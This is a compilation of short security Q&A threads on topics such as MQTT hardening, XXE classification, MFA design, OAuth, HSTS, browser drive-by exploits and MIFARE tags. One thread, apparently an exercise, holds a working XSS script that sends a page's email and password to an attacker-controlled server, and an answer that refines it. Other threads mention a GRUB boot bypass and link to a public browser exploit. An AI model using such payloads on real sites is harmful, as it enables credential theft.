Why am I not writing the data in json as bytes? Because I can't garantee that the cipher text will not have ascii characters that may break my json file, like ", for example.

Assuming you don't care about efficiency, then the only real issue is that you are using CBC mode which is unauthenticated. There is no cryptographic issue with storing values which are not meant to be kept secret in any arbitrary encoding, whether hex, or base64, or uuencode. In fact, the new LUKS2 format for disk encryption does exactly this, storing encryption-related data in JSON.

You should probably use base64 though, because hex is unnecessarily inefficient.


Angular MQTT Security I am working on an Angular application which evolves around MQTT for communication. The idea is that the web app is kind of a live dashboard of all clients connected and sending data, the clients will be Android Apps primarily.

For the Angular app I am using 'ngx-mqtt' (https://www.npmjs.com/package/ngx-mqtt)
and I have setup a debian server and configured ufw rules for mosquitto and set mosquitto config to this:

listener 9001 0.0.0.0
protocol websockets

I am developing this in my freetime, but I would like to make this as secure as possible, so I wonder if there is room for improvement.

You can authenticate your mosquitto broker by providing username and password.
Here is the link for authenticating the pub/sub flow: https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-the-mosquitto-mqtt-messaging-broker-on-ubuntu-16-04

You can directly jump into step 5 for adding password.


Why isn't XXE part of Injection in the OWASP Top 10? I'm trying to explain to myself why XXE doesn't fall under the Injection category, as it is a form of XML injection.

XML External Entity is an attack that manipulates the XML parser/interpreter, to achieve information disclosure of some data (i.e., a file from the file system).

SQL Injection is an attack that manipulates the SQL interpret to achieve a wide range of goals, one of which might be information disclosure of some data.

Some organizations have even called XXE an Injection attack, and OWASP does list XML Injection under A1. While I would argue that with XXE you are not technically injecting any commands into an interpreter, the data flow for both categories is essentially the same:

The threats are essentially the same - information disclosure and denial of service, though obviously with SQL injection you can do even more.

So, what would you argue is the main reason for this division? Is it simply to raise awarness for XXE in particular, or can it really be classified as standalone?

I'd argue that even XXS can be treated as Injection, but I can accept that the distinction here is that the system isn't attacked, but its users.

Even in MITRE CAPEC, Injection is a distinctly-separate top-level category from Subversion of Acess Control. XXE is a type of Privilege Abuse that falls under Subversion of Access Control, not Injection.

i.e.,

  Inject Unexpected Items -> Command Injection -> XML Injection

Totally different from

  Subvert Access Control -> Privilege Abuse -> XML External Entities


MFA token for authentication to a call center I work for an AWS managed service provider, and we are brainstorming the best way to authenticate someone who calls for support over the phone. Yes, we could use a verbal password, but this can be shared or easily stolen. Is there any way we can easily generate a QR code for our customers to configure MFA and match the token we see for each customer with the customer calling in?

There are a few common ways to do that:

SMS tokens: send a random password to a registered mobile phone. That's basically the lowest possible standard for 2FA since SMS aren't exactly secret and many smart phones will (by default) display the content of the SMS message without requiring the user to unlock it. Basically, it just verifies that the user can view the phone's screen.
HOTP/TOTP: Defined by two RFCs, 4226 (HOTP) and  6238 (TOTP), these are one-time passwords that are generated by a small software. Google authenticator is a famous implementation of that standard. It's very easy to implement and requires next to nothing in therms of fixed costs. It's a bit better in terms of security than SMS but requires more work from the user. It's therefore used in more technical-oriented environment.
Security tokens (RSA SecureID, Sefenet SafeWord, for instance) are dedicated security devices that will generate single-use or time-based passwords according to a key that is stored in a tamper-proof container. The reason these are safer than software tokens is that the tokens are VERY hard to copy and the secret key is therefore well protected. Deploying these is pretty expensive, though.

There are plenty of other two-factors systems out there for a variety of costs and functionality. These are just a few examples that fits your requirements


My company is considering collapsing from multiple independent domains to one trust network Currently, we have a number of domains for various purposes like back office, production, DMZ, partners, etc. There has been a change in management thinking to simplification. They want all the resources to fall under one trust.

I'm responsible for the security of this change (Cybersecurity professional, former Enterprise Admin/Domain Admin). What should I be worried about and is this a good idea?

I've reviewed...

How to set up a single sign-on for multiple domains?
Is asking for credentials from a separate trusted domain an acceptable practice?
Multiple Independent Levels of Security vs Multilevel security
What is the real risk from trusted forests / domains?

...so I think I have some of the basics down, but I'm worried about the unknown unknowns.

Thanks in advance.

Nobody can tell you what exactly you have to do, unless you give more details about your infrastructure, your business processes, used software etc.

What I would advise is:

Set up a network plan for your hypothetical new infrastructure.
Put together a security analysis, including (at least):

2.1. an IT-Infrastructure analysis (what assets will be involved in your new     infrastructure and how will they interact)

2.2. a vulnerability report

2.3. a risk analysis

2.4. a managerial report
Especially 2.1. - 2.3. will help you find those "unknowns" you are worried about. Also interview other experts in your company, read accompanying documents, look into other security documents.

You can check up on how all this is done in the various standards and norms. Just look around at nist.gov and look into the ISO/IEC 27000-27005.


Secure API access over SSL using oauth token On the project that i'm currently working, we authenticate the
clients by username and password. In this system each user has a key which is calculated from his password.

However, we want to provide an API access for the users where they will be
authenticated with an oath 2.0 token. So the problem that I'm facing is that we need the password for calculating the key and we want to avoid the user to hard code his password.
So what we have thought about was that when the user requests for the token and the server encrypts and signs the user key and sends it back to the user together with the token. At each API request the user has to send both! Considering that all communications are done over HTTPS, there is alway a chance that there would be a client-side attack where the attacker can capture both the encrypted key and the token and replay them using the same API calls!

The solution that came up to me is as follows:

The encrypted key should contain an expiration date (this date should also be included in the signature)! The problem that remains here is that how we are going to update the encrypted key if we assume that user doens't connect for a long period. On the other hand for non-repudiation and replay attack prevention, we ask for client-side signature (using HMAC or RSA) over the token and the encrypted password!

So my question here is that whether asking the user to sign the token and the encrypted password is too much and unneccessary.

Thanks

If your back end requires the plain text password, why not cache the password on a secure API proxy server?

  client --- oauth---> [Data Center] ---> HTTP/S ---> App that caches passwords ---> backend

There are many ways to do OAuth 2.0, and I would suggest using the normal token that already includes an expiration, scope, and signature fields.

Just use the verified user ID that comes from the OAuth token to dictate to your proxy on the back end what calls to make.

In my mind, this architecture centralises security, reduces complexity, and allows for better testability.


Azure AD B2C vs Auth0 I am trying to work on security architecture for our SaaS application.
The good finding was Azure AD B2C which is launched recently. And first comparison was with Auth0.

Is this is correct comparison? What would be advantages of one over another?

We need

SSO / OAuth 2 few standard components that both provides
Don't want to manage identity or passwords at our server level!
Standardized boilerplates of code so all internal App builders can follow and implement (both of them provides good SDKs)

Auth0 launched on-prem version as well. Can functions of Azure B2C be replaced by ADFS?

Azure B2C is completely a PaaS service, no way/need to host this onpremise.
Both handle the users and the login screens.

Regarding B2C vs ADFS:
B2C is for all external customers.
ADFS is a wrapper around your corporate AD, so that is not so suitable for external customers.


Website just installed something to tor browser without my permission This is an assumption, but as i was connecting to a website I saw the alert 'so and so website wants to install something to tor browser' and there was the 'Allow' button. I was going to retreat but the alert showed for just a second and went away on its own. It's probably safe to assume that my browser just got violated right?

It is hard to determine exactly what happened when you say:

  It flashed for just a second and went away

While on normal web browsers such behavior may be indicative of malicious or unsolicited installation or download attempts by shady websites, on something like TOR it is unlikely. TOR was developed for user security and privacy and is meant to block or deny all such attempts (see: https://www.torproject.org/download/download). For example, 'NoScript' installed on TOR would not let common JS scripts to execute on your browser. It is unlikely that something got installed in the background on TOR implicitly.

So yes, while theoretically it is possible, practically, it is unlikely unless you explicitly allowed an add-on or plugin to install (which it does not seem like you did).


How to check if computer is controlled remotely My laptop has windows 7 installed.

One Saturday night I couldn't fall asleep and was just lying in bed. Then suddenly at around 2 in the morning I heard the fan of the laptop start up and lights on the laptop started blinking. The lid was closed, and I didn't want to open it because I had a headache.

The fan was on and lights blinking for good half an hour, and then the laptop went back to sleep. In the morning I checked the laptop to see if any files were missing, or if anything was done. But I didn't find any problems.

This got me thinking.

How would you detect if someone has remote access program installed on your computer?

If you have some remote access program, can you wake up the laptop from sleep(which I think is possible since I have seen some programs like logmein.com and such)? And if so would the user be able to tell if the computer is being accessed remotely?

If your computer is being remotely accessed should you nuke it from orbit or can you somehow just remove whatever is allowing your computer to be accessed.

Thanks to anyone for their help and explanation :) I could only find solutions for linux and none for windows.

If your computer is being remotely accessed, you have no idea how deep the infection goes. Nuke from orbit is the only way to go.

As for detecting remote access programs, there are offline scanners you can run from many vendors that look for known remote access malware. But, of course, that only covers known malware.

You can listen on ports and list processes, but malware can also be time-based and only run at certain times or when certain event occur. Malware can also attach to existing legitimate processes, so that they look completely normal.


Which one to ask first in multi-factor authentication? Let's say I have a system which use something you know, like a password, and something you have, like a code sent to a cell phone, to authenticate.

Is there a preferred order to ask for the password and the code?

Should it be the password first then the code sent to the phone or the opposite?

Edit

The answer should be :

  Password first but validate both at same time.

Explanation here

Don't know if there is some study about it, or if this question will be closed as opinion based, but:

In one online attack, you'll limit how much tries one can do for every x minutes, or even lock the account after x tries. So, a brute-force attack will have some limited impact. Anyway, a password probably will have more combinations than the code you'll send by SMS. In general, SMS sent codes have 4 characters, or 6 digits.

If someone is trying to brute-force and you send the SMS first:

if he has to guess the code, and the code is smaller than the password, it's easier to guess 6 digits than a good password.
if you send SMS for every attempt, the real user can get bored receiving so many codes that he didn't request, and there's little he can do about it (how to tell the site to stop accepting tries from the bad guy?)

If you ask for password first, you won't bother the real user until the account is locked by so many attempts. And after the account is locked, you can simple send the SMS stating "your account was locked due to x wrong attempts, to unlock it look at your email"

And perhaps sending SMS might cost you something, it can be less expensive sendig the SMS as a last step.


What are a few good lists of threats to use to kick-off conversations with others about what worries them? To effectively communicate with business owners or executives on security, specifically with how people may harm their business, it often helps to discuss what types of people worry them.  What are few good lists to kick-off such conversations?

Loss of revenue is the only threat you really need to talk about with business people. Frame the issue in terms of money and emphasize that money will be lost if security is not given a high priority. Explain that money can be lost in the following ways:

Lawsuits due to disclosing sensitive
user information.
Bad publicity, which damages the
brand, which, in turn, results in
revenue loss.
Unsecured checkout processes open up
the avenue for lawsuits and also
reduce sales.
A non-functioning website reflects
poorly on the business, hurts
conversions, and reduces traffic over
time.

It is better to have a risk-management approach to security to minimize the possibility of these risks occurring. In the end, it will cost less to be proactive than to be reactive.


XSS payload to capture login credentials I am trying to solve this exercise.
The objective of this is to "Post the Username and Password to Attacker Controlled Server".
There is a url parameter that the server takes, and it gets reflected back onto the page. Which is what we need to use as the XSS vector.

Now, I have written a script like this:

<script type="text/javascript">
function HijackCred() {
    var email = document.forms[0].elements[0].value;
    var pass = document.forms[0].elements[1].value;
    img = document.createElement("img");
    img.src = "http://192.168.2.25:8080?" + "email=" + email + "&" + "password=" + pass;
}
document.forms[0].onsubmit = HijackCred;
</script>

The injection works fine as I can see the script reflected back onto the page. However the script payload does not send the credentials to the attacker controlled server. Any suggestions?

I would make some amends to your script:

img = new Image();
img.src = "http://192.168.2.25:8080?" + "email=" + escape(email) + "&" + "password=" + escape(pass);
setTimeout('document.forms[0].submit();', 3000);
return false;

This should send the data to the attacker's page and then submit the form after 3 seconds, once  the browser has had chance to send the credentials to the attacker.


Workaround for no www.subdomain.domain coverage on wildcard cert Edit: Would deleting the www.hungry.example.org DNS record be a good solution if there are no links to it?

I have a domain (example.org) and a subdomain (hungry.example.org). Until recently they had separate SSL Certificates and everything was nice and peachy.

We moved to Sucuri recently and they requested to replace these 2 certs with 1 wildcard certificate in order for the subdomain traffic to go through the firewall.

Our cPanel has the Let's Encrypt Plugin which I used to generate a cert that covers *.example.org. It covers hungry.example.org, www.example.org, and example.org. Unfortunately; however, it does not cover www.hungry.example.org and users that navigate there will get a browser ssl misconfiguration error.

Things I've tried so far:

Setting www.hungry.example.org as a CNAME to hungry.example.org

Didn't work, still getting ssl misconfiguration error when going to www.hungry.example.org
Doing an .htaccess redirect from www.hungry.example.org to hungry.example.org

Didn't work, still getting ssl misconfiguration error when going to www.hungry.example.org
I've thought about issuing a separate certificate for www.hungry.example.org to avoid the error, and then using one of the above methods to redirect all traffic to non-www and thus go through Sucuri. However, the Let's Encrypt plugin doesn't allow issuing a certificate for only www.hungry.example.org. It would also need to cover hungry.example.org which is already covered by the wildcard cert - and I'm worried that having two certs cover  hungry.example.org isn't a good configuration idea.

Any tips?

Just specify Subject Alternative Name (SAN) as www.hungry.example.org in your main wildcard certificate.


Heroku postgres: potential brute force attack I have a Django app running on Heroku using Heroku Postgres.

I was looking at the latest log (something I don't do very often) and something strange caught my eye. There were all these fatal database errors as shown below:

2017-02-25T20:31:18+00:00 app[postgres.346]: [DATABASE] [5-1] LOG:  could not accept SSL connection: EOF detected
2017-02-25T20:31:18+00:00 app[postgres.347]: [DATABASE] [5-1] FATAL:  no pg_hba.conf entry for host "x.x.x.x", user "postgres", database "postgres", SSL off
2017-02-25T20:31:19+00:00 app[postgres.348]: [DATABASE] [5-1] LOG:  could not receive data from client: Connection reset by peer
2017-02-25T20:31:20+00:00 app[postgres.349]: [DATABASE] [5-1] FATAL:  no pg_hba.conf entry for host "x.x.x.x", user "postgres", database "postgres", SSL off
2017-02-25T20:31:20+00:00 app[postgres.350]: [DATABASE] [5-1] FATAL:  password authentication failed for user "postgres"
2017-02-25T20:31:20+00:00 app[postgres.350]: [DATABASE] [5-2] DETAIL:  Connection matched pg_hba.conf line 10: "hostssl all         all         0.0.0.0/0             md5"
2017-02-25T20:31:21+00:00 app[postgres.351]: [DATABASE] [5-1] FATAL:  no pg_hba.conf entry for host "x.x.x.x", user "postgres", database "postgres", SSL off
2017-02-25T20:31:22+00:00 app[postgres.352]: [DATABASE] [5-1] FATAL:  password authentication failed for user "postgres"
2017-02-25T20:34:21+00:00 app[postgres.641]: [DATABASE] [5-1] FATAL:  password authentication failed for user "root"
2017-02-25T20:34:21+00:00 app[postgres.641]: [DATABASE] [5-2] DETAIL:  Connection matched pg_hba.conf line 10: "hostssl all         all         0.0.0.0/0             md5"
2017-02-25T20:34:22+00:00 app[postgres.642]: [DATABASE] [5-1] FATAL:  no pg_hba.conf entry for host "x.x.x.x", user "root", database "root", SSL off
2017-02-25T20:34:23+00:00 app[postgres.643]: [DATABASE] [5-1] FATAL:  password authentication failed for user "root"
2017-02-25T20:37:38+00:00 app[postgres.957]: [DATABASE] [5-1] FATAL:  no pg_hba.conf entry for host "x.x.x.x", user "test", database "test", SSL off
2017-02-25T20:37:39+00:00 app[postgres.958]: [DATABASE] [5-1] FATAL:  password authentication failed for user "test"
2017-02-25T20:37:39+00:00 app[postgres.958]: [DATABASE] [5-2] DETAIL:  Connection matched pg_hba.conf line 10: "hostssl all         all         0.0.0.0/0             md5"
2017-02-25T20:37:40+00:00 app[postgres.959]: [DATABASE] [5-1] FATAL:  no pg_hba.conf entry for host "x.x.x.x", user "test", database "test", SSL off
2017-02-25T20:37:41+00:00 app[postgres.960]: [DATABASE] [5-1] FATAL:  password authentication failed for user "test"
2017-02-25T20:37:41+00:00 app[postgres.960]: [DATABASE] [5-2] DETAIL:  Connection matched pg_hba.conf line 10: "hostssl all         all         0.0.0.0/0             md5"
2017-02-25T20:37:42+00:00 app[postgres.961]: [DATABASE] [5-1] FATAL:  no PostgreSQL user name specified in startup packet
2017-02-25T20:37:42+00:00 app[postgres.962]: [DATABASE] [5-1] FATAL:  no PostgreSQL user name specified in startup packet

This is only a small sample, there are about 800 such entries stretched across 6 minutes.

Now I have no idea what is causing this. I can't think of anything from my side that could have caused this so my best guess is it is some brute force attack to try to get into the database? Or what could be causing this?

Is this something to be concerned about and how can I stop this from happening again?

Almost certainly not. It's quite common to see automated attacks from web scanners - IPv4 is a pretty small address space and quite easy to enumerate (IPv6, at least, makes them work a bit to find targets!)

It's a low-cost, low-success, but potentially high-reward tactic if they stumble on a server with interesting data and a terrible (or default) password. Just make sure you have non-trivial passwords and you'll be fine.


Is that a way break Linux user password by bypassing grub protected? The best way to delve into others Linux machine is by editing the grub.

Many will start by, editing the line ro quite splash as rw init=/bin/bash during the startup (usually by pressing button e on the list). Second is using the recovery mode.

To secure my Linux OS I am doing two things:

Setting a GRUB password
The recovery mode is disabled

After doing the 2 steps is that possible to break Linux user password by bypassing  grub2 ?

Yes, definitely.  All an attacker needs to do is boot off a live cd or usb key.  They boot into their own OS and mount your disk.


How can the low-water mark property apply to Bell-LaPadula? I am taking a computer security class, and have a homework problem which has the following setup:

  Now assume a dynamic version of the Bell-La Padula Confidentiality
  model that incorporates a suitable version of the low watermark property, where the
  updates involve the lub (least upper bound) function.

First, to be clear: I am not looking for an answer to this problem. (I have provided only a portion of the problem here for that reason.)

Now, we learned in class that the low-water mark principle applies to the Biba security model. I found the same result on Wikipedia and many other sites.

I understand that Bell-LaPadula has "no read up" and "no write down" principles, so if I have:

  Top Secret > Secret > Confidential > Unclassified

Subject = [Secret, {P, Q}]

Object A = [Secret, {P, Q}]
Object B = [Confidential, {P}]
Object C = [Top Secret, {P, Q, R}]

Then the subject can read A, B and can write to A, C. (Right?)

But, how can the low-water mark principle be applied to the Bell-LaPadula model? What effect would the low-water mark principle have in these cases?

I think I'm taking the same class as you and I think I've figured out a solution to this problem, but I may be wrong. The low watermark policy of the Biba Model allows one to write up and read down, but in order to read down the subject must lower their integrity level to do so. This means that when accessing information, it is crucial that it is done in the correct order.

For the question, they're asking us to use a combination of the Bell-Lapadula model and the idea of low watermark policy, where reading down lowers the integrity level and writing up is okay provided the objects being modified are contained in the higher-level object matrix.

Hope that helps.


RSA key generation: gpg vs openssh When I generate RSA key for ssh (both server-side and client-side):

dpkg-reconfigure openssh-server
ssh-keygen

the key generation is completed instantly. However, when I generate RSA key for gpg, the key generation takes several minutes and I have to generate entropy by typing on the keyboard or reading/writing to the disk:

gpg --key-gen

I am wondering what makes this difference, and whether the quality of the generated keys is the same (for the same key size). Has anybody anything to say about this?

as a side-note:

I remember vaguely, there was a Debian OpenSSH Vulnerability which affected the seeding of the random number generator. IIRC, the entropy for the key came from two sources:

1) using uninitialized memory
2) using the Process ID (PID)

This bug was caused by commenting out (1), leaving the PID as the only source of entropy. Consequently, the space of possible keys was only 2^16.

Is openssh really using only these two sources of entropy? No /dev/random ?

The difference comes from the locking/nonlocking random beeing used (e.a. /dev/random and /dev/urandom) from the man-pages of ubuntu 14.04 (man random):

NAME:      random, urandom - kernel random number source devices

SYNOPSIS : #include <linux/random.h>
           int ioctl(fd, RNDrequest, param);

DESCRIPTION :
 The  character  special files /dev/random and /dev/urandom
 (present since Linux 1.3.30) provide an interface to the kernel's random number
 generator.
 File /dev/random has major device number 1 and minor device number 8.
 File /dev/urandom has major device number 1 and minor device number 9.

 The random number generator gathers environmental noise from device drivers and
 other sources into an entropy pool.  The generator also keeps  an  estimate
 of the number of bits of noise in the entropy pool.  From this entropy pool random
 numbers are created.

 When  read,  the  /dev/random device will only return random bytes within the
 estimated number of bits of noise in the entropy pool.  /dev/random should be
 suitable for uses that need very high quality randomness such as one-time pad or
 key generation.  When the entropy pool is empty,  reads  from  /dev/random
 will block until additional environmental noise is gathered.

 A  read  from  the  /dev/urandom  device will not block waiting for more entropy.
 As a result, if there is not sufficient entropy in the entropy pool, the
 returned values are theoretically vulnerable to a cryptographic attack on the
 algorithms used by the driver.  Knowledge of how to do this is not  available
 in  the  current  unclassified  literature,  but it is theoretically possible that
 such an attack may exist.  If this is a concern in your application, use
 /dev/random instead.

 Writing to /dev/random or /dev/urandom will update the entropy pool with the data
 written, but this will not result in a higher entropy count.  This  means
 that it will impact the contents read from both files, but it will not make reads
 from /dev/random faster.

Usage :
 If  you  are  unsure  about  whether you should use /dev/random or /dev/urandom,
 then probably you want to use the latter.  As a general rule, /dev/urandom
 should be used for everything except long-lived GPG/SSL/SSH keys.

This means that openssh will use the /dev/urandom special file, and gpg --key-gen uses the /dev/random. the GPG will lock when entropy is 'drained' until enough entropy is added, resulting in proven entropy being used, urandom rehashes its entropy pool all the time. That means it does not run out of entropy like /dev/random does. and it does this to have a known 'real'-entropy level for the random numbers. and not rely upon the entropy of the /dev/urandom.


Verify if person belongs to the claimed university through his university email id I need to allow users access to an application after verifying that they belong to the claimed institute through university email id. So that if a person claims that he belongs to Stanford University, he has verify that he posesses email account that ends with ...@stanford.edu. Sometimes department may have they own subdomain like ids may end with ...@cs.stanford.edu.The people that need to be allowed access to application could be faculty & students as well.

Is this a solid way of determining whether the person belongs to the claiming institute ? Any issues with this & how could this be made more better ?

I know several universities/collages that leave email addresses to their alumnus.
So only thing that you can check is that the person WAS associated with the university at some point of time.

A


Allow only single aplication to access files on USB stick with Linux namespaces It looks like i found a way to allow only single application to access files in USB storage.
This script must be run with sudo.

#!/bin/bash
# create namespace
unshare -m<<EOF
# mount device in namespace
mount -U "UUID-here" "/home/$SUDO_USER/hidden"
# run unprivileged application
sudo -u "$SUDO_USER" application
# unmount device
umount "/home/$SUDO_USER/hidden"
EOF

Obviously automounter must not mount this device.

Is it possible for other applications (except 0day exploits) run by user to read files from namespace?

Yes, other processes owned by the same user can access the files via /proc/<PID>/root.

This can be prevented by root creating a user namespace, mapping the unprivileged user, then switching to the user. These steps need to preformed by a single executable.


What is the purpose of this attack? The following is an excerpt of an apache access log output during the last 24 hours. http://pastebin.com/imtJfvLE

Notes:

The requests come from more than 5733 unique IP addresses
~2 requests per second, totaling ~5GB log data per day
From metrics, it is shown that outbound traffic is about one order of magnitude larger than inbound traffic, due to these requests.

The assumption is that this is an attack of some sort, or a usage of my server for some reason. But I cannot come to a conclusion as to what its purpose is.

Currently I have written an apache RewriteRule to redirect all of this traffic to a nonexistent domain. At the least, if this is some sort of participation in an odd DDOS attack, it will receive a 301 in return, thus significantly reducing packet size. Ideally I would implement some type of layer 7 firewall that would simply drop the packets, but seeing as this is a Azure VM, that is difficult.

Would you be able to help me determine the attack's purpose, and if possible, how to mitigate it?

Looking at the excerpt, the following URL appears to be common across all the requests:

zukexupyqiv.wordpress.com%2F2013%2F05%2F06%2Fcreate-a-note-of-the-puppy-testimonials-purchasing-mal-shi-pups-for

The URL has been taken down by wordpress for unknown reasons - maybe because others also observed this kind of activity affecting their websites and complained to wordpress.

I suspect the intention of the activity is to simply spam your server, and force you as the system administrator to visit the URL above by consuming storage space on your disk and filling up the logs.

This is indicated from the following sentence in the requests:
"I know this site offers quality dependent articles and extra material, is there any other site which provides these kinds of things in quality"

PS: Incidentally, the GET requests appear to be structured in a format, as if someone is submitting an online form as seen from the parameter called "postcomment". This might be because it is easy to send requests like this.

UPDATE: I would mitigate this activity by parsing requests for common terms in all the requests e.g. the URL above, key terms listed above, and simply dropping these requests. Dropping the requests should reduce the load on your server. If you have a large website with global audience, you could consider a CDN service like Akamai which optionally provides a Web Application Firewall (WAF) to offload the work of mitigating DOS and other types of attacks.


Is it always safe (virus/malware/spyware) to download video/music files (torrent, lbry)? assume all downloads legal

Spent a long time trying to find an answer, this related question from 2013 (dated) doesn't fully answer my question although I do fear subtitle malware.

LBRY claims to tell you the correct file type before you download a file (let's assume that it's impossible to include a second file). I'm aware that downloading executable files could be dangerous but I've been told that video files (.mp4 etc but apparently not .wmd) are safe as they can't contain anything in them except malware.

LBRY is similar to Torrent so I've researched from that perspective. The general consensus is that if it comes from a trusted source and has lots of seeders it is GENERALLY safe. First of all that's not good enough for me, I know the internet is risky on its own but I don't want additional security risk. Second, just because a lot of people download from the host and think it's safe doesn't mean that there isn't something malicious that still hasn't been uncovered by anti-virus software (would probably require the abilities of a state-sponsored hacking team).

I'm really interested in playing with LBRY but I'm just not sure I can trust running it on my Mac. Kazaa destroyed my old computer (back in the day) so I've never experimented with P2P again. This mac runs perfectly, I want to keep it that way.

I'm running latest Mac OS.

Current theory is that it is unsafe unless I run a sandbox within a Linux VM but that sounds like a hassle to me...

The simple fact is that you can almost never completely trust a file you downloaded from unknown sources. Even if the file is not an executable as verified by LBRY, it could contain a specific formatting exploit to affect the playback application you are using to listen or view the file. E.g. See VNC exploits on Metasploit. If the application you are using to playback the file is vulnerable, an attacker can still gain access to your system.

Making use of a sandboxed system will keep you safe but as you mentioned, it comes with additional hassle.


Do drive-by attacks exist in modern browsers? Do drive-by attacks actually exist within modern browsers and if yes how do they work?

I’ve heard a lot about getting infected by malware simply by visiting a website. But is this really possible?

I found a lot of blog posts, forum discussions etc. but none of them actually gives real examples. They simply talk about how JavaScript is a programming language so it isn’t predictable. But I don’t buy it. JavaScript isn’t unpredictable in a way that lets it do things it’s not supposed to. Unless of course there is a vulnerability in the browser. But I haven’t found any examples of such (at least not in modern browsers). And I know there are lots of browser vulnerabilities but I only care about those that can be used for harmful code execution (no not XSS or CSRF I mean harmful to my system not the website I visit).

So if you say “Yes, of course drive-by attacks exist”, please make an actual example. Meaning: Show me code that would for instant delete all the photographs on my machine without me having to explicitly download and run anything. Just visiting a malicious website is enough. And no, simply making my browser crash without any permanent damage on my computer doesn’t count. And also simply download isn’t enough either. It has to run itself. That is the definition of drive-by. No user interaction beyond clicking a link.

And to be clear: I only care about browser vulnerabilities, not plugins or other things. And also modern browsers not IE from 2004 (you know what, let’s just ignore IE).

So let’s say I use Firefox (this version or any other from the last 2 years) without any plugins or addons installed and visit an evil website. What could happen and how. No theory: Show me the code.

Do drive-by attacks actually exist within modern browsers and if yes how do they work?

It is absolutely possible, and there is a big market for it. As SmokeDispenser mentioned, no one is going to burn a 0day just to show you, but you can look at countless patched vulnerabilities. Google for any MFSA (Mozilla Foundation Security Advisorie) for anything that says "arbitrary code execution" or "potentially exploitable crash". These are all vulnerabilities (security bugs), not exploits (code to take advantage of said security bugs).

The way they work varies. It would be too difficult to explain even the basics of any number of classes of vulnerabilities. Look into buffer overruns/underruns, UAFs, ROP (and similar techniques like JOP and LOP), heap spraying, JIT spraying, exploitable undefined behavior, integer overflows, or any other common attack technique.

  I found a lot of blog posts, forum discussions etc. but none of them actually give real examples. They simply talk about how JavaScript is a programming language so it isn’t predictable.

What they are likely talking about is things like buffer overflows and use-after-free vulnerabilities. They mean that JavaScript does not always do what you want it to do, not that the standard itself isn't entirely deterministic.

  JavaScript isn’t unpredictable in a way that let’s it do things it’s not supposed to. Unless of course there is a vulnerability in the browser.

That is correct. JavaScript is not designed to do anything outside of the context of a browser, but what it is designed to do is be parsed and compiled from attacker-controlled sources. A single bug in the interpreter or JIT compiler (among many other things) can result in exploitation. This isn't just an issue with JavaScript. CSS and HTML can also be exploited, though that's less common as they're simpler. WebGL is a common target due to its complexity. Image decoding is also a target.

  Show me code that would for instant delete all the photographs on my machine without me having to explicitly download and run anything. Just visiting a malicious website is enough.

If you want an example of actual code, how about https://github.com/cryptostorm-dev/torsploit, which was used by the US government to attack outdated versions of Tor Browser (which is based on Firefox) a while back. In that specific example, it caused the browser to phone home, bypassing the proxy. The shellcode could be modified to do anything, such as delete pictures on your computer like you said. Honestly, I don't care enough to write shellcode to do something like delete pictures, but it would not be hard. The hard part is getting the code to execute. The easy part is making it do whatever you want.

In that specific example, the shellcode is in the magneto variable. You can change it to whatever you want and it will be executed without restrictions. All you have to do is learn a bit of assembly, enough to write the code without the help of the usual assembler. You can find a huge amount of pre-written shellcode for plugging into a working exploit, though usually it does more interesting things than delete pictures, like install malware.

The way that specific exploit worked was by using a type of heap spraying called JIT spraying (a technique to increase the predictability of the memory layout of the target program), and a simple buffer overflow into the now-predictable code.

See  https://www.exploit-db.com/search/?action=search&description=Mozilla%20Firefox for countless other examples, complete with code. If you want in-depth explanations of how this kind of exploitation is done, I strongly recommend you read some browser-related Phrack articles.

  And no, simply making my browser crash without any permanent damage on my computer doesn’t count.

Unfortunately, virtually all exploitable bugs will result in a harmless crash if they are not designed specially to exploit the application. Most PoCs will show nothing but a crash. You have to live with that. There are absolutely real, weaponized exploits that you can use, but there are not as many in public.

  And to be clear: I only care about browser vulnerabilities, not plugins or other things. And also modern browsers not IE from 2004 (you know what, let’s just ignore IE).

Virtually every single update for a modern browser fixes one or several of these kinds of vulnerabilities. As of this post, Firefox 56 has just updated to fix 5 exploitable crashes with mfsa2017-21, as well as a collection of 12 other potentially exploitable memory-safety crashes. This isn't just an issue of one possibly bad bug every 10 years. This is multiple exploitable bugs every release. In general, any large program which parses complex data can be exploited with malicious crafted input if someone tries to find a vulnerability badly enough. This applies to browsers, image decoders, video or audio decoders, and even your operating system kernel.


How can I see which sites have set the HSTS flag in my browser? My question is about Firefox and Chrome.

Is there a possibility to see which sites have set the HSTS flag in my browser?

Chrome:

Open Chrome
Type chrome://net-internals/#hsts in the address bar of chrome
Query domain: if it appears as a result, it is HSTS-enabled

Firefox:

Open file explorer
Copy and paste the following path into the address bar of your file explorer

On Windows: %APPDATA%\Mozilla\Firefox\Profiles\
On Linux: ~/.mozilla/firefox
On Mac: ~/Library/Application Support/Firefox/Profiles

Double click the folder you see (if you have multiple Firefox profiles, there will be multiple folders)
Open SiteSecurityServiceState.txt. This textfile contains sites that have enabled HSTS.


Where can I find a list of Indicators of Compromise (IOC) conditions? OpenIOC.org has several schemas defining Indicators of Compromise.
The Schema is defined here:

http://schemas.mandiant.com/2010/ioc/ioc.xsd

While under IndicatorItemContext/search says it is xs:string, the actual list of search terms is listed here:

http://openioc.org/terms/Current.iocterms

Is there something similar for IndicatorItem/condition?
So far I'm only aware of "contains" and "is" but there doesn't seem to be a definitive list.

Unsure of where you can get a list from, but the IOC Editor may have visibly similar options. Meaning, you can browse the options to see what is available, and how it works. I'd also have a look at IOC Finder to see what options are available on that as well.


Hardening NFC tags for authentication So I have a small electronics project where I am using common Mifare Classic 1K NFC tags as a means of authentication. (Mifare DesiFire is just too expensive)
I know these aren't very secure so here are my ideas on improving on it.

Make Card Read Only

This makes it slightly harder to manipulate the card directly but is essentially useless as these cards are very common and easy to copy.

Use the UID of the card

Ok idea but still bad, as some cards allow a custom UID. Also a 4 Byte UID is rather small imo. (Some have 7 Bytes thou)

Use the "password" of trailer blocks of the card to block read access.

Might work but can be brute forced as the trailer password is 6 Bytes long

Create your own ID on the cards memory and do a random increment every time the card is read if there's a missmatch between the prev id and the current ID you know there are copies around.

Pretty much the most secure method I can think of currently. If the card is declined use some other means of identification and get a new card.

Encrypt the card data on the reader instead of using the cards "encryption".

Wont stop copying of cards, the content can still be used to authenticate.

Imo. using all the options above together makes it somewhat hard to break these cards' security but not absolutely invulnerable.
Now, my question is, are there any other ways to be able to protect/harden these cards?

First and foremost: if you want security, don't use MIFARE cards. They aren't the best at security. Even if a card isn't vulnerable to something like a hardnested attack or a brute-force attack, the card's data can still be sniffed over-the-air (which will include the keys or allow keys and data to be easily recovered).
Generally, most "secure" MIFARE cards will leverage multiple systems to detect the authenticity of the card. Consider a two-phased approach:
